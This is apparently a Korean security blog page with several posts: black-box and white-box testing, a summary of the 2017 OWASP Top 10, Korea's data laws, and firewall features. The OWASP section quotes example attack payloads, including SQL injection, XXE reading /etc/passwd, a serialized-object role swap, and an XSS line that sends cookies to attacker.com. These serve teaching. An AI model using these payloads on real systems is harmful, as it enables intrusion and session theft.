1. Blackbox Testing(블랙박스 테스트)

내부 설계 구조나 작동원리를 모르는 상태에서 동작을 검사하는 테스트방식에 해당한다.

올바른 값과, 올바르지 않은 값을 입력값으로 주어, 도출된 결과(올바른 결과가 도출되었는지)를 보고 판단하는 방식이 Blackbox testing이다.

블랙박스 테스트는 소프트웨어가 수행할 특정 기능을 알기 위해서  기능이 완전히 작동되는 것을 입증하는 테스트로, 기능 테스트라고도 한다.

  • 사용자의 요구사항 명세를 보면서 테스트하는 것으로, 주로 구현된 기능을 테스트한다.
  • 소프트웨어 인터페이스에서 실시되는 테스트이다.
  • 부정확하거나 누락된 기능, 인터페이스 오류, 자료 구조나 외부 데이터베이스 접근에 따른 오류, 행위나 성능 오류, 초기화와 종료 오류 등을 발견하기 위해 사용되며, 테스트 과정의 후반부에 적용된다.

2. Whitebox Testing(화이트박스 테스트)

응용 프로그램의 내부 구조와 로직(Logic)을 검사하는 테스트방식으로, 내부 소스코드를 테스트하는 방식을 예로 들 수 있다.

- 화이트박스 테스트는 소프트웨어, 모듈 등의 소스코드를 오픈시킨 상태에서 논리적인 모든 경로를 테스트하여  테스트 케이스를 설계하는 방법이다.

화이트박스 테스트

  • 화이트박스 테스트는 설계된 절차에 초점을 둔 구조를 분석하는 테스트며, 주로 테스트 과정의 초기에 적용된다.
  • 모듈 안의 작동을 직접 분석한다.
  • 소스코드(모듈)의 모든 문장을 한 번 이상 실행함으로써 수행된다.
  • 프로그램의 제어 구조에 따라 선택, 반복 등의 분기점 부분들을 수행함으로써 논리적 경로를 제어한다.

이 두가지 테스트방식은 단순 소프트웨어를 테스트할 때 뿐만 아니라, 보안에서도 쓰일 수 있다.

가령 홈페이지, 모바일 앱 취약점 점검 등 기능적인 부분을 테스트 할 때에는 Blackbox Testing 방식이라고 볼 수 있으며, 직접 홈페이지, 모바일 앱의 소스코드를 분석하여 논리구조(구성)를 이해하고 보안 취약점이 존재하는지 테스트 할 때에는 Whitebox Testing 이라고 볼 수 있다.

'Security > 정보보호 잡지식' 카테고리의 다른 글

OWASP TOP 10(2017) 간단 정리  (0) 2021.05.27
데이터 3법에 대하여  (0) 2020.03.29
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

[OWASP TOP 10]

OWASP Top 10 : 개발자 및 웹 애플리케이션 보안을 위한 표준 문서

[2013 -> 2017 OWASP TOP 10]

1) A1 : 2017-Injection (삽입)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- SQL, NoSQL, OS LDAP 삽입과 같은 삽입성 보안약점은 신뢰할 수없는 데이터가 명령 또는 쿼리의 일부로 인터프리터에 전송 될 때 발생합니다. 공격자 데이터는 인터프리터가 의도하지 않은 명령을 실행하거나 적절한 권한 없이 데이터에 액세스하도록 속일 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션은 다음과 같은 취약한 SQL 호출을 구성 할 때 신뢰할 수없는 데이터를 사용합니다. 시나리오 # 2 : 마찬가지로 프레임 워크에 대한 애플리케이션의 맹신 신뢰로 인해 여전히 취약한 쿼리가 발생할 수 있습니다 (: Hibernate Query Language (HQL)). 두 경우 모두 공격자는 브라우저에서 'id'매개 변수 값을 수정하여 '또는'1 '='1을 전송합니다. : 이렇게하면 accounts 테이블의 모든 레코드를 반환하도록 두 쿼리의 의미가 변경됩니다. 더 위험한 공격은 데이터를 수정 또는 삭제하거나 저장 프로 시저를 호출 할 수도 있습니다.

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

 

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

 

http://example.com/app/accountView?id=' or '1'='1

-----------------------------------------------------------------------------------------------

2) A2 : 2017-Broken Authentication (취약한 인증)

Exploitability(심각도) 3, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자가 암호, 키 또는 세션 토큰을 손상 시키거나 다른 구현 결함을 악용하여 다른 사용자의 신원을 일시적 또는 영구적으로 가정 할 수 있습니다.

 

* 무차별 대입 또는 기타 자동화 된 공격을 허용합니다.

* "Password1"또는 "admin / admin"과 같은 기본 암호, 취약하거나 잘 알려진 암호를 허용합니다.

* 안전하지 않은 "지식 기반 답변"과 같이 취약하거나 비효율적 인 자격 증명 복구 및 암호 분실 프로세스를 사용합니다.

* 일반 텍스트, 암호화 또는 약하게 해시 된 암호를 사용합니다. ( A3 : 2017- 민감한 데이터 노출 참조 ).

* 다단계 인증이 없거나 비효율적입니다.

* URL에 세션 ID를 노출합니다 (: URL 재 작성).

* 로그인 성공 후 세션 ID를 교체하지 않습니다.

* 세션 ID를 제대로 무효화하지 않습니다. 사용자 세션 또는 인증 토큰 (특히 SSO (Single Sign-On) 토큰)은 로그 아웃 또는 비활성 기간 동안 제대로 무효화되지 않습니다.

 

3) A3 : 2017-Sensitive Data Exposure(민감한 데이터 노출)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 공격자는 암호화를 직접 공격하는 대신 키를 훔치고, 중간자 공격을 실행하거나, 전송 중이거나 브라우저와 같은 사용자 클라이언트에서 서버에서 일반 텍스트 데이터를 가로챕니다.

- 가장 일반적인 결함은 단순히 민감한 데이터를 암호화하지 않는 것입니다. 암호화가 사용되면 약한 키 생성 및 관리, 약한 알고리즘, 프로토콜 및 암호 사용이 일반적이며 특히 약한 암호 해싱 저장 기술의 경우에 노출되기 쉽습니다. 전송중인 데이터의 경우 서버 측 약점은 주로 감지하기 쉽지만 미사용 데이터에는 어렵습니다.

 

* 데이터가 일반 텍스트로 전송되는지 확인필요(HTTP, SMTP FTP와 같은 프로토콜과 관련이 있음). 외부 인터넷 트래픽은 특히 위험합니다. 로드 밸런서, 웹 서버 또는 백엔드 시스템 간의 모든 내부 트래픽을 확인합니다.

* 기본적으로 또는 이전 코드에서 사용되는 오래되거나 취약한 암호화 알고리즘이 있습니까?

* 기본 암호화 키가 사용 중이거나 약한 암호화 키가 생성 또는 재사용되었거나 적절한 키 관리 또는 순환이 누락 되었습니까?

* 암호화가 적용되지 않습니까? 예를 들어 사용자 에이전트 (브라우저) 보안 지침 또는 헤더가 누락 되었습니까?

* 사용자 에이전트 (: , 메일 클라이언트)가 수신 된 서버 인증서가 유효한지 확인하지 않습니까?

 

4) A4 : 2017-XML External Entities (XXE) (XML 외부 엔터티(XXE))

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 3, Technical(기술적난이도) 3

- 오래되거나 잘못 구성된 XML 프로세서는 XML 문서 내에서 외부 엔터티 참조를 평가합니다. 외부 엔터티는 파일 URI 처리기, 내부 파일 공유, 내부 포트 검색, 원격 코드 실행 및 서비스 거부 공격을 사용하여 내부 파일을 공개하는 데 사용할 수 있습니다.

- 공격자는 취약한 코드, 종속성 또는 통합을 악용하여 XML을 업로드하거나 XML 문서에 악의적인 코드를 포함 할 수 있는 경우 취약한 XML 프로세서를 악용 할 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 공격자가 서버에서 데이터 추출을 시도합니다. 시나리오 # 2 : 공격자가 위의 ENTITY 줄을 다음과 같이 변경하여 서버의 사설 네트워크를 조사합니다. 시나리오 # 3 : 공격자는 잠재적으로 무한한 파일을 포함하여 서비스 거부 공격을 시도합니다.

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

 

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

 

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

-----------------------------------------------------------------------------------------------

5) A5:2017-Broken Access Control (취약한 접근제어)

Exploitability(심각도) 2, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 인증 된 사용자가 수행 할 수 있는 작업에 대한 제한이 종종 제대로 시행되지 않습니다. 공격자는 이러한 결함을 악용하여 다른 사용자의 계정에 액세스하고, 중요한 파일을 보고, 다른 사용자의 데이터를 수정하고, 액세스 권한을 변경하는 등의 무단 기능 및 데이터에 액세스 할 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

 

http://example.com/app/accountInfo?acct=notmyacct

 

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

-----------------------------------------------------------------------------------------------

6) A6:2017-Security Misconfiguration(보안 구성 오류)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- 보안 구성 오류가 가장 일반적으로 발생하는 문제입니다. 이는 일반적으로 안전하지 않은 기본 구성, 불완전하거나 임시 구성, 개방형 클라우드 스토리지, 잘못 구성된 HTTP 헤더 및 민감한 정보가 포함 된 자세한 오류 메시지의 결과로 발생합니다. 모든 운영 체제, 프레임 워크, 라이브러리 및 애플리케이션을 안전하게 구성해야 할뿐만 아니라 적시에 패치 / 업그레이드를 해야합니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션 서버는 프로덕션 서버에서 제거되지 않은 샘플 애플리케이션과 함께 제공됩니다. 이러한 샘플 애플리케이션에는 공격자가 서버를 손상시키는 데 사용하는 알려진 보안 결함이 있습니다. 이러한 응용 프로그램 중 하나가 관리 콘솔이고 기본 계정이 변경되지 않은 경우 공격자는 기본 암호로 로그인하고 인계합니다.

시나리오 # 2 : 서버에서 디렉토리 목록이 비활성화되지 않습니다. 공격자는 단순히 디렉토리를 나열 할 수 있음을 발견합니다. 공격자는 컴파일 된 Java 클래스를 찾아 다운로드하여 코드를 보기 위해 디 컴파일 및 리버스 엔지니어링 합니다. 그런 다음 공격자는 애플리케이션에서 심각한 액세스 제어 결함을 발견합니다.

시나리오 # 3: 응용 프로그램 서버의 구성을 통해 스택 추적과 같은 자세한 오류 메시지를 사용자에게 반환 할 수 있습니다. 이는 취약한 것으로 알려진 구성 요소 버전과 같은 민감한 정보 또는 근본적인 결함을 잠재적으로 노출합니다.

시나리오 # 4 : 클라우드 서비스 공급자는 다른 CSP 사용자가 인터넷에 공개하는 기본 공유 권한을 가지고 있습니다. 이를 통해 클라우드 스토리지에 저장된 민감한 데이터에 액세스 할 수 있습니다.

-----------------------------------------------------------------------------------------------

7) A7:2017-Cross-Site Scripting XSS(크로스사이트 스크립트)

Exploitability(심각도) 3, Prevalence(발생빈도) 3, Detectability(탐지가능성) 3, Technical(기술적난이도) 2

- XSS 결함은 애플리케이션이 적절한 유효성 검사 또는 이스케이프없이 새 웹 페이지에 신뢰할 수 없는 데이터를 포함하거나 HTML을 만들 수있는 브라우저 API를 사용하여 사용자가 제공 한 데이터로 기존 웹 페이지를 업데이트하거나 자바 스크립트, XSS를 통해 공격자는 피해자의 브라우저에서 스크립트를 실행하여 사용자 세션을 가로채거나 웹 사이트를 손상 시키거나 사용자를 악성 사이트로 리디렉션 할 수 있습니다.

 

[XSS3가지 종류]

* Reflected XSS : 응용 프로그램 또는 APIHTML 출력의 일부로 유효성 검사 및 이스케이프 처리되지 않은 사용자 입력을 포함합니다. 공격이 성공하면 공격자가 피해자의 브라우저에서 임의의 HTML JavaScript를 실행할 수 있습니다. 일반적으로 사용자는 악성 워터 링 홀 웹 사이트, 광고 등과 같이 공격자가 제어하는 ​​페이지를 가리키는 일부 악성 링크와 상호 작용해야합니다.

* Stored XSS : 응용 프로그램 또는 API는 나중에 다른 사용자 또는 관리자가 볼 수 있는 삭제되지 않은 사용자 입력을 저장합니다. 저장된 XSS는 종종 높거나 중요한 위험으로 간주됩니다.

* DOM XSS: 페이지에 공격자가 제어 할 수 있는 데이터를 동적으로 포함하는 JavaScript 프레임워크, 단일 페이지 애플리케이션 및 APIDOM XSS에 취약합니다. 이상적으로는 애플리케이션이 공격자가 제어 할 수있는 데이터를 안전하지 않은 JavaScript API로 보내지 않습니다.

 

일반적인 XSS 공격에는 세션 도용, 계정 탈취, MFA 우회, DOM 노드 교체 또는 손상 (트로이 목마 로그인 패널 등), 악성 소프트웨어 다운로드, 키 로깅 및 기타 클라이언트 측 공격과 같은 사용자 브라우저에 대한 공격이 포함됩니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 애플리케이션이 유효성 검사 또는 이스케이프없이 다음 HTML 스니펫의 구성에 신뢰할 수없는 데이터를 사용합니다 . 공격자는 브라우저에서 'CC'매개 변수를 다음과 같이 수정합니다. 이 공격으로 인해 피해자의 세션 ID가 공격자의 웹 사이트로 전송됩니다. 공격자가 사용자의 현재 세션을 가로 채도록 허용합니다. 참고 : 공격자는 XSS를 사용하여 애플리케이션이 사용할 수 있는 자동화 된 CSRF (Cross-Site Request Forgery) 방어를 무력화 할 수 있습니다.

(String) page += "<input name='creditcard' type='TEXT'

value='" + request.getParameter("CC") + "'>";

 

'><script>document.location=

'http://www.attacker.com/cgi-bin/cookie.cgi?

foo='+document.cookie</script>'.

-----------------------------------------------------------------------------------------------

8) A8:2017-Insecure Deserialization(안전하지 않은 역 직렬화)

Exploitability(심각도) 1, Prevalence(발생빈도) 2, Detectability(탐지가능성) 2, Technical(기술적난이도) 3

- 안전하지 않은 역 직렬화는 종종 원격 코드 실행으로 이어집니다. 역 직렬화 결함이 원격 코드 실행으로 이어지지 않더라도 재생 공격, 주입 공격 및 권한 상승 공격을 포함한 공격을 수행하는 데 사용될 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

 

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";

i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

-----------------------------------------------------------------------------------------------

9) A9:2017-Using Components with Known Vulnerabilities(알려진 취약점이 있는 구성 요소 사용)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 2, Technical(기술적난이도) 2

- 라이브러리, 프레임 워크 및 기타 소프트웨어 모듈과 같은 구성 요소는 애플리케이션과 동일한 권한으로 실행됩니다. 취약한 구성 요소가 악용되는 경우 이러한 공격은 심각한 데이터 손실이나 서버 탈취를 촉진 할 수 있습니다. 알려진 취약성이 있는 구성 요소를 사용하는 애플리케이션과 API는 애플리케이션 방어를 약화시키고 다양한 공격과 영향을 미칠 수 있습니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 구성 요소는 일반적으로 응용 프로그램 자체와 동일한 권한으로 실행되므로 구성 요소의 결함으로 인해 심각한 영향을 받을 수 있습니다. 이러한 결함은 우발적 (: 코딩 오류) 또는 의도적 (: 구성 요소의 백도어) 일 수 있습니다. 발견 된 악용 가능한 구성 요소 취약점의 몇 가지 예는 다음과 같습니다.

* 서버에서 임의의 코드를 실행할 수 있는 Struts 2 원격 코드 실행 취약점 인 CVE-2017-5638 이 심각한 위반으로 인해 비난을 받았습니다.

* 사물 인터넷 (IoT) 은 패치하기가 어렵거나 불가능한 경우가 많지만 패치 적용의 중요성은 클 수 있습니다 (: 생체 의료 기기).

-----------------------------------------------------------------------------------------------

10) A10:2017-Insufficient Logging & Monitoring(불충분한 로깅 및 모니터링)

Exploitability(심각도) 2, Prevalence(발생빈도) 3, Detectability(탐지가능성) 1, Technical(기술적난이도) 2

 

- 불충분 한 로깅 및 모니터링은 사고 대응과의 누락 또는 비효율적 인 통합과 결합되어 공격자가 시스템을 추가 공격하고, 지속성을 유지하고, 더 많은 시스템으로 피벗하고, 데이터를 변조, 추출 또는 파괴 할 수 있습니다. 대부분의 침해 연구에 따르면 침해를 감지하는 데 걸리는 시간은 200 일 이상이며 일반적으로 내부 프로세스 또는 모니터링이 아닌 외부 당사자가 감지합니다.

 

공격 시나리오 예

-----------------------------------------------------------------------------------------------

시나리오 # 1 : 소규모 팀이 운영하는 오픈 소스 프로젝트 포럼 소프트웨어가 소프트웨어 결함을 사용하여 해킹 당했습니다. 공격자들은 다음 버전과 모든 포럼 콘텐츠가 포함 된 내부 소스 코드 저장소를 삭제했습니다. 소스는 복구 할 수 있지만 모니터링, 로깅 또는 경고의 부족으로 인해 훨씬 ​​더 심각한 침해가 발생했습니다. 이 문제로 인해 포럼 소프트웨어 프로젝트가 더 이상 활성화되지 않습니다.

시나리오 # 2 : 공격자는 공통 암호를 사용하여 사용자를 검색합니다. 이 비밀번호를 사용하여 모든 계정을 인계받을 수 있습니다. 다른 모든 사용자의 경우가 스캔은 하나의 잘못된 로그인 만 남겨 둡니다. 며칠 후 다른 암호로이 작업을 반복 할 수 있습니다.

시나리오 # 3: 미국의 한 주요 소매 업체가 첨부 파일을 분석하는 내부 맬웨어 분석 샌드 박스를 보유한 것으로 알려졌습니다. 샌드 박스 소프트웨어가 잠재적으로 원치 않는 소프트웨어를 감지했지만 아무도이 감지에 응답하지 않았습니다. 샌드박스는 외부 은행의 사기성 카드 거래로 인해 위반이 감지되기 ​​전에 한동안 경고를 생성했습니다.

-----------------------------------------------------------------------------------------------

'Security > 정보보호 잡지식' 카테고리의 다른 글

Whitebox Testing 과, Blackbox Testing 차이  (0) 2021.08.28
데이터 3법에 대하여  (0) 2020.03.29
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

오늘은 데이터3법에 대해 소개하는 것으로, 정보보호 잡지식 첫 컨텐츠를 열어볼까합니다.

1. 데이터 3법이란? 

: 데이터 이용을 활성화하는「개인정보 보호법」,「정보통신망 이용촉진 및 정보보호 등에 관한 법률(정보통신망법)」,「신용정보의 이용 및 보호에 관한 법률(신용정보법)」등 3가지 법률을 통칭합니다.

핵심적인 내용은, 개인정보를 데이터로 활용 가능하도록 허용한다는 것입니다.

 

일반인의 개인정보란 이름, 생년월일, 주소, 주민등록번호 등 민감한 정보뿐만이 아니라 개인이 선호하는 장소, 음식, SNS 정보 등 개인의 멀티미디어 데이터 또한 무한히 많을 것입니다.

예를 들어 개인정보 데이터를 활용할 수 있게 된다면, 정부나 공공기관에서 개인들의 정보를 분석하기 위해 SNS로 많은 사람들이 방문하는 장소(예로 유명한 카페, 음식점 등)를 수집.분석하여, 해당 장소로의 교통 서비스(버스편 추가, 지하철 노선 확장 등)를 제공할 수 있음으로써, 삶의 질을 한 층 더 높일 수 있습니다. (조금 더 삶의 질이 향상되는 멋진 예시가 떠오르지 않아 죄송하네요ㅠ)

요약하면 이런 개인의 데이터를 정부, 기업 등에서 수집하고 분석하여 보다 나은 양질의 서비스를 제공할 수 있도록 데이터로 활용할 수 있게 된다는 뜻입니다.

 

장점?

이렇게 개인정보에 대한 데이터를 활용하게 되면 국민의 세금을 보다 실용적으로 사용 할 수 있을 것입니다.

또한 이런 개인정보도 종류가 무한한 만큼, 이를 수집하고 분석하여 통계내는 새로운 서비스나 일자리가 생기게 될 것입니다.

 

위에서 개인정보 데이터 활용에 대한 부분을 살펴보았고, 이제 데이터 3법 개정안의 핵심내용을 살펴보겠습니다.

1. '가명정보' 도입

: 개인정보의 체계는 '개인정보, 가명정보, 익명정보' 로 구분되며 개념마다 역할 및 취급사항도 다르게 규정됩니다. 가명정보란 특정 개인을 알아볼 수 없도록 처리한 정보로, 익명정보에 비해 많은 정보를 담고있어 데이터 활용에 유리해집니다.

2. 개인정보보호 체계 효율화 및 일원화

: 기존의 개인정보 보호법을 다루는 정부 기관들은 '행정안전부, 방송통신위원회, 금융위원회, 개인정보보호위원회' 등 이었습니다. 이렇게 법은 하나인데 다루는 기관들이 많으므로 각기 해석과 규제의 중복성이 발생하는 등 문제가 있어, 개정안에서 법 제도 및 감독 기관개인정보보호법 - 개인정보보호위원회일원화 하였습니다.

3. 데이터보안 강화 및 처벌 조항 강화

: 개인정보는 활용가치가 큰 만큼, 그만큼 유출되었을 때 사회적 문제를 야기할 수 있을만큼 민감한 데이터입니다. 따라서 이에 대한 보안을 강화하고, 처벌조항이 강화되어 질 것입니다.

(EU의 개인정보보호법(GDPR)이 강화된 것으로, 우리나라도 개인정보 사고 발생 시 규제와 처벌 등 강화될 것으로 보입니다.)

데이터 3법별로, 주요내용은 아래와 같이 참고하시면 될듯합니다.

법명 주요내용
개인정보보호법 - 가명정보 도입
- 정보주체의 동의 없이 이용가능한 개인정보 범위의 구체화
- 개인정보의 범위 명확화
- 개인정보 전담 기구 및 체계를 '개인정보보호위원회' 로 일원화 
정보통신망법 - 온라인 이용자들의 개인정보 규제 및 감독을 '개인정보보호위원회'로 이관
신용정보법 - 금융부냥 빅데이터 분석 및 이용 법적 근거 명확화
- 금융분야 마이데이터 산업 도입
- 금융분야 개인정보보호 강화

------------------------------------------------------------------------------------

<어떤 내용의 법안인지 직접 확인해보기!>

1. 네이버나 구글 등에서 '국회' 를 검색하고, 대한민국 국회 사이트로 들어간 후, 입법예고를 클릭합니다.

 

2.  위에서 국회입법예고 사이트로 이동하면 진행중이거나 종료된 법률(안)들을 확인할 수 있는데, 데이터 3법 관련내용은 종료된 입법예고에서 확인하시면 됩니다.

 

3. 종료된 입법예고에서 '개인정보' 혹은 '정보통신' 등의 키워드로 검색하여 데이터 3법을 검색한 후, 아래와 같이 검색되면 직접 클릭하셔서 세부 개정 법안내용을 파악하시면 될 듯합니다.

 

이상으로 데이터 3법에 대한 포스팅을 마칩니다. 부족한 부분이 있더라도 양해부탁드리며 제가 놓친부분이 있거나 기타 의견있으시면 댓글로 남겨주시면 감사드립니다^^

'Security > 정보보호 잡지식' 카테고리의 다른 글

Whitebox Testing 과, Blackbox Testing 차이  (0) 2021.08.28
OWASP TOP 10(2017) 간단 정리  (0) 2021.05.27
악성코드란? 악성코드의 유형  (0) 2017.03.28
Scan(스캔)  (0) 2016.07.17
DNS를 이용한 정보 습득  (0) 2016.07.13

WRITTEN BY
SiriusJ

,

지난번, 방화벽의 개념설명과 주요기능들을 간단히 다루었습니다.

이번에는 방화벽의 세부 기능들에 대해 조금 더 다뤄보고자 하며, 차세대 방화벽(Next Generation Firewall)이라는 주제로도 부가적으로 알아보겠습니다.

--------------------------------------------------------------------------------------------------

[방화벽의 세부기능]

1) Stateful Packet Inspection(상태기반 검사) 방식 

Stateful Inspection은 1세대의 Packet filtering 방식과 2세대의 Application Gateway 방식의 장점을 혼합한 3세대 방화벽 기술로, 네트워크 트래픽과 관련된 모든 통신채널을 상태목록에 유지시킨 후 누가, 언제 사용하였는지 또는 거부당했는지, 어떤 경로를 통해 외부에 접속하였으며 돌아왔는지 분석하고 패킷의 액세스 여부를 결정하는 기능입니다.

이 방식은 패킷으로부터 받은 정보와 전송상태, 연결상태, 타 Application들과의 관계 및 패킷의 Layer를 면밀하게 검사하는 구조를 가집니다.

2) Black & White list 기반 Filtering 

화이트리스트 방식은 안전하다고 증명된 것만을 정책적으로 허용하고 나머지는 차단함으로써 내부 네트워크를 안전하게 유지시키는 방식이며, 

블랙리스트 방식은 위협으로 인증된 것만을 관리자가 지정 및 차단하여 내부 네트워크를 안전하게 유지시키는 보안 방식 입니다. 

어느것이 더 좋다라고는 말할 수 없지만(상황에 따라 다를 수 있음), 대체적으로 화이트리스트 기반의 정책을 적용하는 것이 이후 추가적인 방화벽 정책 수립 시 관리자의 실수로 인한 추가적인 보안홀(Hole)을 막을 수 있습니다.

3) NAT(Network Address Translation) 기능 지원 : Static/ Dynamic NAT, Excluded NAT, NAT Traversal 

NAT 기능은 네트워크에서 외부망과 내부망을 나눠주는 기능을 가능하게 합니다. 내부망 그대로의 주소를 외부망으로 가져갈 수 없으므로 이 NAT를 통해 외부망 주소로 바꿔서 나가게 됩니다.

즉 네트워크의 주소를 변환하는 기능으로 방화벽의 대표적인(주요) 기능중 하나로 볼 수 있습니다.

이 NAT기능의 장점은 1) 인터넷의 공인IP 주소를 절약할 수 있으며(공인IP 한개로 내부망에서 여러 IP를 사용할 수 있음), 2) 공공네트워크(인터넷)에 연결되는 사용자들의 고유한 개인 사설망을 외부위협으로부터 보호할 수 있게 됩니다.

> NAT에 대한 보다 자세한 설명은 다음의 블로그에서 잘 나와있는 것 같아 아래의 링크를 참고하면 좋을 것 같습니다. 

참고(NAT): https://darksoulstory.tistory.com/72 , https://dany-it.tistory.com/36

4) Schedule 기반의 정책 설정 (회/일/주/월/년/특정기간 등) 

방화벽에서 스케줄링을 통해 일/주/월/년 등 다양한 시간단위로 정책을 스케줄링할 수 있도록 하는 기능입니다.

방화벽 정책 수립 시, 대부분 일반적으로는 차단정책(ANY-ANY-DENY)을 기반으로 만들게 됩니다.

(action은 ALLOW(허가)/DENY(부인) 으로 구분)

위의 ANY-ANY-DENY로 하게되면 일반적으로 ACL(Access Control List)의 가장 하단에 위치하여, 상단 방화벽 정책 외의 나머지는 전부 막도록 합니다.

왜냐하면 위의 2) 에서 잠깐 언급했던것과 같이, 블랙리스트 기반의 위협 IP에 대한 보안정책을 실시간으로 만들기에는 관리자가 제약이 따르기 때문인데요. 이를 위해 대부분은 처음부터 전부 차단을 해놓고, 예외적으로 필요한 부분만을 열어주는 화이트리스트 기반의 정책을 수립하게 됩니다.

이 때, 잠깐 하루정도만 예외적으로 열었다가 다음날 다시 닫아야 하는 정책이 생기는 경우도 있습니다. 이런 경우에는 관리자가 기억해주면 좋겠지만 혹여 다시 차단하는것을 기억하지 못하여 깜빡한채로 남겨질 수도 있기 때문에 보안홀로 발생할 수 있게됩니다. 이러한 부분을 커버하기 위해 일/주/월/년 등 시간단위로 스케줄링하여 정책을 만들 수 있게하는 것이 방화벽에서 지원하는 기능 중 하나입니다.

5) 가용성 보장 : Active-Active, Active-Standby HA (with/without L4 switch) 

이 기능들을 설명하기 전에, 방화벽의 또 하나 중요하게 다루는 부분이 이중화에 대한 개념입니다.

사실 방화벽 뿐만 아니라 다른 보안장비들도 이중화하는것은 필요한데요, 우선 이 이중화에 대해 간단히 설명하고 기능들을 설명하도록 하겠습니다.

이중화를 간단히 설명하면, 동일한 보안장비(방화벽) 2대를 두고 운용하다가, 그 중 1개의 방화벽이 어떤 장애로 인하여 기능을 상실하게 되면 이중화된(연결된) 다른 방화벽이 대신하여 그 기능을 수행하는 것입니다.

이렇게 이중화를 하는 방식에는 기본적으로 Active-Active, Active-Standby 등이 있는데요.

Active/Active는 양쪽 장비 모두가 트래픽을 처리하고 부하 분산이 가능하며, Security Context 에서만 지원됩니다.

Active/Standby에서는 한 장비(Active)에서만 트래픽을 처리하다가 문제발생시, Standby 장비가 Active장비의 기능을 대체하여 사용하는 방식입니다.

Stateful 이중화: 주 장비(Active)가 현재의 세션정보를 Standby 장비에게 전달하고, 장애가 발생해도 사용자들의 접속이 끊어지지 않는다고 합니다.

이렇게 이중화 관련하여 failover, loadbalancing 등의 개념들이 있는데요.

방화벽, 서버 등 이중화를 위해서는 failover-link로 연결되는데 이 Failover(시스템 대체 작동)는 평소 사용하는(Active) 방화벽과 이중화된 Standby 방화벽을 가지고 있다가 사용중이던 방화벽이 장애로 사용이 어렵게 되었을 경우 Standby방화벽으로 그 일을 대신 처리하게 해서 무정지 시스템을 구축하게 해주는 것을 의미합니다.

loadbalancing(부하균형)은 이렇게 두 개 이상의 방화벽이 일을 분담처리 해 방화벽에 가해지는 네트워크 트래픽을 분산시켜주는 것을 말합니다. 병렬로 트래픽을 처리하도록 하여 방화벽에 걸리는 부하의 정도 균형을 잡아줍니다.

한 방화벽에 너무 많은 트래픽 과부하가 걸리거나 너무 적게 걸려 낭비되지 않도록 작업을 적절히 분배하고, 필요한 경우에는 작업을 한 방화벽에서 다른 방화벽으로 이동시키기도 합니다.

보통은 사용자가 방화벽에 부하가 걸릴만한 상황을 고려하여 조건을 설정하고 조건이 충족된 상황에서 다른 방화벽이 트래픽을 분담처리하도록 합니다.

6) 중복정책 검색 기능

관리자가 방화벽 정책을 수립하다가 관리하는 정책이 너무 많아지거나 혹은 관리자가 변경되는 경우처럼,

이전에 정책을 만들어 놓고 똑같은 정책(혹은 범위만 다른 유사한)을 만들게 되기도 합니다. 이는 쓸데없이 방화벽정책의 수만 증가시켜 관리자로 하여금 정책 모니터링에 어려움이 있을 수 있으므로 방화벽 자체적으로 중복되는 정책에 대해서는 검색하는 기능이 있어 관리자에게 알려줄 수 있는 기능이 있습니다. (확인하고 지우는 건 관리자 몫이겠죠?

--------------------------------------------------------------------------------------------------

[차세대방화벽 주요기능]

이렇게 위의 일부 기능에 대해 세부적으로 살펴보았는데 이 외에도 방화벽의 기능들은 훨씬 많으니 관심이 있다면 방화벽 솔루션 기업들의 세부 규격이나 성능, 기능사항들을 직접 보시는걸 추천드립니다.

여기에 차세대 방화벽의 추가적인 기능은 아래와 같다고 보입니다. 

1) Application 제어 : 이전 세대의 UTM 방화벽은 IP, PORT 를 기반으로 차단하는 정책을 수립했다면, 이제는 특정 애플리케이션(트위터, 페이스북, G마켓, 쿠팡 등) 기반으로도 차단하는 것이 가능합니다.

이 애플리케이션 제어기능은 세부적으로도 나눌 수 있는데, 예를 들어 페이스북 페이지까지만 볼 수 있게 정책을 만드는것도 가능하며, 사용자의 로그인까지 가능하게 하거나, 글쓰는 것을 막는 기능까지도 가능합니다.

